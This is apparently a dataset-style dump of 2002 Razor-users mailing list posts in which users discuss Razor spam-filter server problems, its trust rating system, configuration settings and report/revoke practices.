http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Daniel Higgins"" ","""ML-razor-users"" ","Wed, 7 Aug 2002 10:54:51 -0400",Re: [Razor-users] What's wrong with the Razor servers now?,"except that the server doesn't know you are the same person that reported the spam, since the identity isn't checked (at least not required, so i assume it's not checked) when doing a razor-check -- Daniel Higgins Administrateur Systme Netcommunications Inc. ----- Original Message ----- From: ""Tabor J. Wells"" To: ""Daniel Higgins"" Cc: ; ""ML-razor-users"" Sent: Wednesday, August 07, 2002 10:39 AM Subject: Re: [Razor-users] What's wrong with the Razor servers now? > On Wed, Aug 07, 2002 at 10:22:13AM -0400, > Daniel Higgins is thought to have said: > > > maybe i'm wrong, but it could be that your trust isn't high enough to flag a > > single message as spam? > > It would seem to make sense that regardless of your TeS value, the > signatures you report should always come back as spam when you check them > since you should always be able to trust yourself. :) > > -- > -------------------------------------------------------------------- > Tabor J. Wells razor-users@fsckit.net > Fsck It! Just another victim of the ambient morality > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",", ","Thu, 8 Aug 2002 10:19:46 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"Oh yeh one more thing. None of this would explain why the signatures for sample-spam.txt from spamassassin is registered on honor but not apt or fire. -----Original Message----- From: Rose, Bobby Sent: Thursday, August 08, 2002 9:54 AM To: mail@vipul.net; razor-users@example.sourceforge.net Subject: RE: [Razor-users] What's wrong with the Razor servers now? Thanks that helps. There's still so little info on TES and those of us here since RazorV1 know how it works. I did set my min_cf to ""ac-100"" which I thought would be zero. So the way you are suggesting that it works now is that everyone has a trust level of 1 and have to work their way up. Your trust level increases when someone nominates the same message as spam. This must have been the new changes made at the beginning of the week unless the changes dumped everyone's trust level. Now here come the questions... What engine signature does TES look at? Does it have to be the same e1 signature or does it use the e2 or e4 signatures. How many people have to nominate the message before everyones rating increases? How many revokes decreases someones rating? Does a single revoke decrease the rating of everyone that nominated the message? If a newby reports a message that has already been reported does their trust level immediately go up? In the case of revoking, does someone with a trust level of 1 have the capability to revoke a message submitted by multiple people with higher trust levels? -----Original Message----- From: Vipul Ved Prakash [mailto:mail@vipul.net] Sent: Thursday, August 08, 2002 4:22 AM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] What's wrong with the Razor servers now? Bobby, Couple of things: If you are not a trusted reporter, your reports will not have an immediate effect. It takes a bunch of trusted reporters to bump up the confidence of a signature to a point where it is considered to be spam. This might be frustrating initially, but as the number of trusted users grows the time delay between nominations and determination will become shorter. Of course, it's a lot more frustating for people to have their legit mail filtered out due to incorrect reporting. Also, for the purpose of testing, I'd suggest making your min_cf (in razor-agents.conf) to 0. min_cf defaults to the server recommended average confidence, which at the moment is 1. Setting min_cf to 0 should return true for whatever you submit (as long as it was not revoked by a trusted user). apt/fire sync with honor every 5 minutes, so you'd have to wait for a _maximum_ of 5 minutes before signatures propagate. cheers, vipul. On Wed, Aug 07, 2002 at 11:51:21PM -0400, Rose, Bobby wrote: > This is still happening. Nothing that I report is being registered at > all. I have confirmed that this also affects the Cloudmark Outlook > plugin. If I block a message from Outlook using Spamnet then run it > against the folder containing the message that was reported then > nothing happens. > > On the unix side, I've tried different cloudmark servers, different > identies, report from different systems, etc without an effect. I did > find that sample-spam.txt from Spamassassin is only registered on > honor.cloudmark.net and comes back positive from it and it only so > it's clearly not sync'd with apt or fire. > > > > -----Original Message----- > From: Rose, Bobby > Sent: Wednesday, August 07, 2002 1:32 PM > To: Patrick > Cc: ML-razor-users > Subject: RE: [Razor-users] What's wrong with the Razor servers now? > > > I'm sure others have thought of that. Probably the only way to > prevent that is to include the host in the report/revoke > authentication. > > -----Original Message----- > From: Patrick [mailto:patrick@stealthgeeks.net] > Sent: Wednesday, August 07, 2002 12:33 PM > To: Rose, Bobby > Cc: ML-razor-users > Subject: RE: [Razor-users] What's wrong with the Razor servers now? > > > On Wed, 7 Aug 2002, Rose, Bobby wrote: > > > Well at least it's been confirmed. I can say for cetain that it > > started on Monday since that was when I noticed a huge drop in stats > of messages > > that were tagged as being in razor. And I know it was fine on > Friday. > > It may have something to do with the upgrades on the servers that > > Vipul mentioned. If TES is going to decide on what gets registered > > and what doesn't then razor-report should provide some debug info > > about the refusal. You are correct about the need for more info on > > TES, but it probably won't happen for fear of circumvention. > > > > On the way into work I thought of some fairly easy ways to circumvent > what I imagine the current trust model to be based on individual users > blindly submitting reports and checking results. > > It's hard to imagine others haven't as well, as I'm not too bright. > > > /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > /\ > /\/\/\ > Patrick Greenwell > Asking the wrong questions is the leading cause of wrong > answers > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > \/\/\/ > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""Justin Mason"" ,","Thu, 8 Aug 2002 09:55:32 -0400",RE: [Razor-users] New to razor,"I concur, but just ignore the razor errors during the make test of spamassassin. That recently started failing but appears just to be the test failing. -----Original Message----- From: Justin Mason [mailto:yyyy@spamassassin.taint.org] Sent: Thursday, August 08, 2002 9:07 AM To: Michael Graff Cc: razor-users@example.sourceforge.net Subject: Re: [Razor-users] New to razor Michael Graff said: > I'm trying to get spamassassin 2.31 and razor (latest) to play > together. From what I see, this isn't likely to happen trivially, Mike -- use the CVS version of SpamAssassin. it works well and supports Razor 2. --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",", ","Thu, 8 Aug 2002 09:53:35 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"Thanks that helps. There's still so little info on TES and those of us here since RazorV1 know how it works. I did set my min_cf to ""ac-100"" which I thought would be zero. So the way you are suggesting that it works now is that everyone has a trust level of 1 and have to work their way up. Your trust level increases when someone nominates the same message as spam. This must have been the new changes made at the beginning of the week unless the changes dumped everyone's trust level. Now here come the questions... What engine signature does TES look at? Does it have to be the same e1 signature or does it use the e2 or e4 signatures. How many people have to nominate the message before everyones rating increases? How many revokes decreases someones rating? Does a single revoke decrease the rating of everyone that nominated the message? If a newby reports a message that has already been reported does their trust level immediately go up? In the case of revoking, does someone with a trust level of 1 have the capability to revoke a message submitted by multiple people with higher trust levels? -----Original Message----- From: Vipul Ved Prakash [mailto:mail@vipul.net] Sent: Thursday, August 08, 2002 4:22 AM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] What's wrong with the Razor servers now? Bobby, Couple of things: If you are not a trusted reporter, your reports will not have an immediate effect. It takes a bunch of trusted reporters to bump up the confidence of a signature to a point where it is considered to be spam. This might be frustrating initially, but as the number of trusted users grows the time delay between nominations and determination will become shorter. Of course, it's a lot more frustating for people to have their legit mail filtered out due to incorrect reporting. Also, for the purpose of testing, I'd suggest making your min_cf (in razor-agents.conf) to 0. min_cf defaults to the server recommended average confidence, which at the moment is 1. Setting min_cf to 0 should return true for whatever you submit (as long as it was not revoked by a trusted user). apt/fire sync with honor every 5 minutes, so you'd have to wait for a _maximum_ of 5 minutes before signatures propagate. cheers, vipul. On Wed, Aug 07, 2002 at 11:51:21PM -0400, Rose, Bobby wrote: > This is still happening. Nothing that I report is being registered at > all. I have confirmed that this also affects the Cloudmark Outlook > plugin. If I block a message from Outlook using Spamnet then run it > against the folder containing the message that was reported then > nothing happens. > > On the unix side, I've tried different cloudmark servers, different > identies, report from different systems, etc without an effect. I did > find that sample-spam.txt from Spamassassin is only registered on > honor.cloudmark.net and comes back positive from it and it only so > it's clearly not sync'd with apt or fire. > > > > -----Original Message----- > From: Rose, Bobby > Sent: Wednesday, August 07, 2002 1:32 PM > To: Patrick > Cc: ML-razor-users > Subject: RE: [Razor-users] What's wrong with the Razor servers now? > > > I'm sure others have thought of that. Probably the only way to > prevent that is to include the host in the report/revoke > authentication. > > -----Original Message----- > From: Patrick [mailto:patrick@stealthgeeks.net] > Sent: Wednesday, August 07, 2002 12:33 PM > To: Rose, Bobby > Cc: ML-razor-users > Subject: RE: [Razor-users] What's wrong with the Razor servers now? > > > On Wed, 7 Aug 2002, Rose, Bobby wrote: > > > Well at least it's been confirmed. I can say for cetain that it > > started on Monday since that was when I noticed a huge drop in stats > of messages > > that were tagged as being in razor. And I know it was fine on > Friday. > > It may have something to do with the upgrades on the servers that > > Vipul mentioned. If TES is going to decide on what gets registered > > and what doesn't then razor-report should provide some debug info > > about the refusal. You are correct about the need for more info on > > TES, but it probably won't happen for fear of circumvention. > > > > On the way into work I thought of some fairly easy ways to circumvent > what I imagine the current trust model to be based on individual users > blindly submitting reports and checking results. > > It's hard to imagine others haven't as well, as I'm not too bright. > > > /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > /\ > /\/\/\ > Patrick Greenwell > Asking the wrong questions is the leading cause of wrong > answers > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > \/\/\/ > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Fri, 9 Aug 2002 09:35:48 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"Isn't that why you have whitelisting? -----Original Message----- From: Will Glynn [mailto:delta407@delta407.homeip.net] Sent: Friday, August 09, 2002 12:18 AM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] What's wrong with the Razor servers now? > Who loses in this case? Why? Neither party is inaccurate in their > actions IMO. But someone's standing is going to get hurt because of > it. My question for the trust system is this. I signed up for a free account on some website that gives me free access to a large compilation of data, and in so doing have subscribed myself to their mailing list. The mailing includes a list of new articles and books and so forth as well as a few links to their book store. This is consistently flagged as spam, even though I *agreed* to see it, and I *want* to see what new articles there are, since some of them might be interesting. Thus, since it is certifiably *not* spam (it even includes a link to terminate your account), I revoke it. Even so, the next mail is still flagged as spam. Who is losing a trust rating here? If it is not unsolicited commercial e- mail, it should not be reported by Razor as spam -- correct? --Will ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Tabor J. Wells"" ",razor-users@example.sourceforge.net,"Fri, 9 Aug 2002 09:40:06 -0400",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Thu, Aug 08, 2002 at 08:00:00PM -0700, Jehan is thought to have said: > Actually you would be inaccurate in your action in a way. The correct > behavior would be to unsubscribe razor-users@fsckit.net from the mailing > list. Wow. I think a majority of the anti-spam community out there would disagree with you. It makes no difference what the list is, whether it's run by ZDNet or Empire Towers, whether it uses open proxies and relays or a MLM like mailman or Lyris. In either case I was added to a list against my will to receive unsolicited bulk email. I shouldn't have to 'just unsubscribe from the list' any more than I should have to send email with the subject REMOVE to removemeblahblah1234@yahoo.com or go to http://www.centralremovelist.com/ to 'unsubscribe' from some viagra spam. Or are you advocating that as well? > But in any case, you have to understand that you and him would not be > the only one involved. As I said in a another thread, you probably get > hurt only if you are against the majority of people (which makes sense). > If you are with the majority, you get a bonus (which also makes sense). > If there is no majority, nobody wins or lose. That's fine. But my point is that neither person in my example was committing an inherently untrustworthy act. Yet someone's TES would likely fall because of it. > Razor is designed for the betterment of most people, i.e. the majority, > not for the individual. If one doesn't agree with the majority, he > should use the razor-whitelist or create a blacklist (BTW, why doesn't > razor provide a razor-blacklist too?) Hmm. Good point about razor-whitelist. I'd forgotten about that. -- -------------------------------------------------------------------- Tabor J. Wells twells@fsckit.net Fsck It! Just another victim of the ambient morality ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Thomas Pfau ,razor-users@example.sourceforge.net,"Fri, 9 Aug 2002 09:20:35 -0400",[Razor-users] use of exit in razor modules,"Every once in a while, I get notifications in my root mailbox that my personal mail is being rejected. The message is 'No Catalogue Servers available at this time.' Since I use razor V1 through Mail::Audit (using is_spam), I tried several ways to try to trap this error and allow my mail to be delivered on these occassions but nothing seemed to work. I started digging through the code and found several uses of exit inside the razor code. This is a very anti-social thing for a module to do. It takes away my option to bypass the spam check and deliver the mail anyway. The razor modules should signal errors through die or warn. razor-check could catch these and, knowing it's being called during mail delivery, issue an appropriate message and exit status for the MTA. The razor modules don't know who's calling them and shouldn't make this decision. I'm wondering how much legitimate mail I'm missing because of this. I certainly hope this is being addressed in the new version. -- tom_p pfau@nbpfaus.net -- http://www.nbpfaus.net/~pfau/ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """cmeclax po'u le cmevi'u ke'umri"" ",razor-users@example.sourceforge.net,"Fri, 9 Aug 2002 08:00:04 -0400",Re: [Razor-users] report and revoke the same message,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 de'i Friday 09 August 2002 01:27 la Steve Price cusku di'e > On Fri, Aug 09, 2002 at 12:43:39AM -0400, cmeclax po'u le cmevi'u ke'umri wrote: > > I send mail detected by Razor as spam to the spamtrap, which again > > reports it as spam. Before I added the procmail rule to revoke (as my > > real life account) Bugtraq messages that were flagged as spam, I manually > > revoked them as the spamtrap (which keeps the last 32 messages sent to > > it). Thus the spamtrap both reported as spam and revoked the same > > message. What happens to its trust rating? > > Maybe I'm the only one confused but what you are saying is that you > have a spamtrap that receives Bugtraq messages and you are auto- > matically reporting them as SPAM only to revoke them shortly there- > after??? Either way automatic reporting is a Bad Thing (tm) IMHO. > You should review and then report spamtrap or otherwise. I'm not > sure how this would affect your rating because I don't have any docs > nor code to look at but I sincerely hope that if that's what you > are doing that it negatively impacts your rating at a near exponential > rate with every report/revoke cycle. No, I have another account that sends anything that's already in Razor to the spamtrap, unless it's a Bugtraq message, in which case I revoke it as that account (not as the spamtrap). I'm talking about the situation before I checked for Bugtraq in the procmailrc. The message was sent to the spamtrap because it was in Razor, then I manually revoked it as the spamtrap because it was erroneously reported. The spamtrap is not, and never was, subscribed to Bugtraq. cmeclax -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9U67G3/k1hdmG9jMRAssMAJ9zlr8ULek1Dz5GopcyO0GYI9YEVACgqvj1 ziGkuXEpY2RPRP3Q+Rs/sLc= =VQGl -----END PGP SIGNATURE----- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """cmeclax po'u le cmevi'u ke'umri"" ",razor-users@example.sourceforge.net,"Fri, 9 Aug 2002 00:43:39 -0400",[Razor-users] report and revoke the same message,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I send mail detected by Razor as spam to the spamtrap, which again reports it as spam. Before I added the procmail rule to revoke (as my real life account) Bugtraq messages that were flagged as spam, I manually revoked them as the spamtrap (which keeps the last 32 messages sent to it). Thus the spamtrap both reported as spam and revoked the same message. What happens to its trust rating? Btw, what does ""TeS"" stand for? cmeclax -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9U0iD3/k1hdmG9jMRArnxAKCpw8ZpBWFo3+h7Y2mscN4WER6HEwCfauH9 54LgdFZN2QQONm7awjHKN1c= =yKwF -----END PGP SIGNATURE----- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Adrian Ho ,razor-users@example.sourceforge.net,"Fri, 9 Aug 2002 15:41:19 +0800",Re: [Razor-users] report and revoke the same message,"On Fri, Aug 09, 2002 at 12:27:25AM -0500, Steve Price wrote: > Maybe I'm the only one confused but what you are saying is that you > have a spamtrap that receives Bugtraq messages and you are auto- > matically reporting them as SPAM only to revoke them shortly there- > after??? Either way automatic reporting is a Bad Thing (tm) IMHO. To be more precise, automatic reporting is a Good Thing only if there's /zero/ possibility of reporting positives falsely (or as close to zero as makes no difference in the end). cmeclax's example (which incidentally points out a major vulnerability of auto-reporting trollboxes) basically says ""I'll blindly report as spam whatever some other user(s) have reported as spam"". That ""blindly"" part undermines the very purpose of Razor, so I too hope that: > if that's what you are doing that it negatively impacts your rating > at a near exponential rate with every report/revoke cycle. - Adrian ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steve Price ,cmeclax@ixazon.dynip.com,"Fri, 9 Aug 2002 00:27:25 -0500",Re: [Razor-users] report and revoke the same message,"On Fri, Aug 09, 2002 at 12:43:39AM -0400, cmeclax po'u le cmevi'u ke'umri wrote: > > I send mail detected by Razor as spam to the spamtrap, which again reports it > as spam. Before I added the procmail rule to revoke (as my real life account) > Bugtraq messages that were flagged as spam, I manually revoked them as the > spamtrap (which keeps the last 32 messages sent to it). Thus the spamtrap > both reported as spam and revoked the same message. What happens to its trust > rating? Maybe I'm the only one confused but what you are saying is that you have a spamtrap that receives Bugtraq messages and you are auto- matically reporting them as SPAM only to revoke them shortly there- after??? Either way automatic reporting is a Bad Thing (tm) IMHO. You should review and then report spamtrap or otherwise. I'm not sure how this would affect your rating because I don't have any docs nor code to look at but I sincerely hope that if that's what you are doing that it negatively impacts your rating at a near exponential rate with every report/revoke cycle. > Btw, what does ""TeS"" stand for? Truth Evaluation System. UTFG. http://www.google.com/search?q=razor+TeS -steve ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Will Glynn"" ",razor-users@example.sourceforge.net,"Thu, 08 Aug 2002 23:18:29 -0500",Re: [Razor-users] What's wrong with the Razor servers now?,"> Who loses in this case? Why? Neither party is inaccurate in their > actions IMO. But someone's standing is going to get hurt because of it. My question for the trust system is this. I signed up for a free account on some website that gives me free access to a large compilation of data, and in so doing have subscribed myself to their mailing list. The mailing includes a list of new articles and books and so forth as well as a few links to their book store. This is consistently flagged as spam, even though I *agreed* to see it, and I *want* to see what new articles there are, since some of them might be interesting. Thus, since it is certifiably *not* spam (it even includes a link to terminate your account), I revoke it. Even so, the next mail is still flagged as spam. Who is losing a trust rating here? If it is not unsolicited commercial e- mail, it should not be reported by Razor as spam -- correct? --Will ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan ,razor-users@example.sourceforge.net,"Thu, 08 Aug 2002 20:00:00 -0700",[Razor-users] Re: What's wrong with the Razor servers now?,"Tabor J. Wells wrote: > On Fri, Aug 09, 2002 at 10:05:29AM +1000, > Adam Goryachev is thought to have said: > > >>>Now I get some opt-in mail which looks to me like >>>spam. I hit ""this is spam"". My trust rating plummets -- >> >>Good! Your opinion of what is spam is unreliable, and therefore, I don't >>*want* to trust you. IMHO, that is exactly the case that the trust system is >>supposed to sort out. People who incorrectly submit non-spam bulk mail to >>razor. > > > Let's take a look at an example here. Someone on this list signed > razor-users@fsckit.net up to a ZDNet mailing list that doesn't confirm > subscriptions in a piss-poor attempt to mailbomb me. I report all of these > mailings to Razor because, guess what, for me this is spam. This and a > hundred more traditional spam emails to automated spamtrap addresses get > reported by me daily. I probably have a decent TES value because of all of > this. > > Now lets say someone else who is also reporting a fair amount of your > typical proxy/relayed spam has been reporting these and has built up a > decent TES rating because of it. However they subscribed to that same ZDNet > list and enjoy getting the mail from it except that they don't like seeing > it tagged as spam by Razor. So they razor-revoke it. > > Who loses in this case? Why? Neither party is inaccurate in their actions > IMO. But someone's standing is going to get hurt because of it. Actually you would be inaccurate in your action in a way. The correct behavior would be to unsubscribe razor-users@fsckit.net from the mailing list. But in any case, you have to understand that you and him would not be the only one involved. As I said in a another thread, you probably get hurt only if you are against the majority of people (which makes sense). If you are with the majority, you get a bonus (which also makes sense). If there is no majority, nobody wins or lose. Razor is designed for the betterment of most people, i.e. the majority, not for the individual. If one doesn't agree with the majority, he should use the razor-whitelist or create a blacklist (BTW, why doesn't razor provide a razor-blacklist too?) Jehan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Tabor J. Wells"" ",razor-users@example.sourceforge.net,"Thu, 8 Aug 2002 21:39:09 -0400",Re: [Razor-users] What's wrong with the Razor servers now?,"On Fri, Aug 09, 2002 at 10:05:29AM +1000, Adam Goryachev is thought to have said: > > Now I get some opt-in mail which looks to me like > > spam. I hit ""this is spam"". My trust rating plummets -- > > Good! Your opinion of what is spam is unreliable, and therefore, I don't > *want* to trust you. IMHO, that is exactly the case that the trust system is > supposed to sort out. People who incorrectly submit non-spam bulk mail to > razor. Let's take a look at an example here. Someone on this list signed razor-users@fsckit.net up to a ZDNet mailing list that doesn't confirm subscriptions in a piss-poor attempt to mailbomb me. I report all of these mailings to Razor because, guess what, for me this is spam. This and a hundred more traditional spam emails to automated spamtrap addresses get reported by me daily. I probably have a decent TES value because of all of this. Now lets say someone else who is also reporting a fair amount of your typical proxy/relayed spam has been reporting these and has built up a decent TES rating because of it. However they subscribed to that same ZDNet list and enjoy getting the mail from it except that they don't like seeing it tagged as spam by Razor. So they razor-revoke it. Who loses in this case? Why? Neither party is inaccurate in their actions IMO. But someone's standing is going to get hurt because of it. Tabor -- -------------------------------------------------------------------- Tabor J. Wells razor-users@fsckit.net Fsck It! Just another victim of the ambient morality ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Michael Graff ,razor-users@example.sourceforge.net,08 Aug 2002 18:21:43 -0700,Re: [Razor-users] Re: keep submitting known spam?,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ok, time for me to pipe in. :) Honestly, I find it odd that the spam fighting groups aren't working and playing well, when the common enemy is the spammers, not each other. MAPS and ORBS had a battle for a while, and now DCC seems to have issues with Razor. Honestly, work on your own stuff, and let's fix the spam problem, not pull out rulers. In a spam filter, I'm much, much more concerned about false positives than false negatives. Additionally, since spam types are so varied, I use all available and trustworthy (to me) methods to detect it. I tend to want something that has three levels (although nothing like this exists, yet): red is most certainly spam, verified by high ratings from several sources, and noone says ""I know this is NOT spam."" I'd probably drop this into a bit-bucket, or archive it for humor value. I expect no false-positives to be here. yellow This may be spam. A human should decide (and report). green This is probably not spam. spamassassin does something useful here, but it only has the is/isn't switch, not is/maybe/isn't. That said, razor is but one check in my spam fighting arsenal, so if it reports ""doesn't match known spam"" once in a while for well-known spam, something else will probably get it. - --Michael -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (NetBSD) Comment: See http://www.flame.org/~explorer/pgp for my keys iD8DBQE9Uxknl6Nz7kJWYWYRAqZVAKCAD46joOEZbIk+8Hx3ZGkVQ7eGZwCfRB+V T67XLOPP4vG99Fg2h72gHek= =Evue -----END PGP SIGNATURE----- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan ,razor-users@example.sourceforge.net,"Thu, 08 Aug 2002 17:20:44 -0700",[Razor-users] Re: keep submitting known spam?,"Craig R.Hughes wrote: > > On Thursday, August 8, 2002, at 11:15 AM, Mika Hirvonen wrote: > >> I do not know the algorithms used to calculate confidence values, but it >> probably penalizes heavily when someone revokes spam that everyone else >> considers as spam. Or at least it should. > > > The problem with that is that invariably, there are ""gray"" mails. Some > people will vote ""spam"", others will vote ""nonspam"" -- under your > proposed system, anyone who ever calls ""gray"" mail nonspam will have a > shitty trust score. And once you have a shitty trust score, your own > submissions won't even be used to flag your own spam as spam. That's > bound to confuse a lot of people. ""But I just marked that exact message > as spam. Why is it not being considered spam? I'm an honest submitter."" I assume that how much the trust goes down depends of the proportion of report vs revoke. If everybody except one says that a mail is spam, the one guy will see his trust go down dramatically. If you are with the majority, your trust goes up. If you are against the majority, your trust goes down. If people 50-50, whatever you vote, your neither against the majority nor with it, so your trust won't change. So your ""gray"" mail won't have much influence on your trust (neither good nor bad, just... gray) ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan ,razor-users@example.sourceforge.net,"Thu, 08 Aug 2002 17:25:57 -0700",[Razor-users] Re: What's wrong with the Razor servers now?,"Adam Goryachev wrote: > Just my $1 worth... Should we trust you more 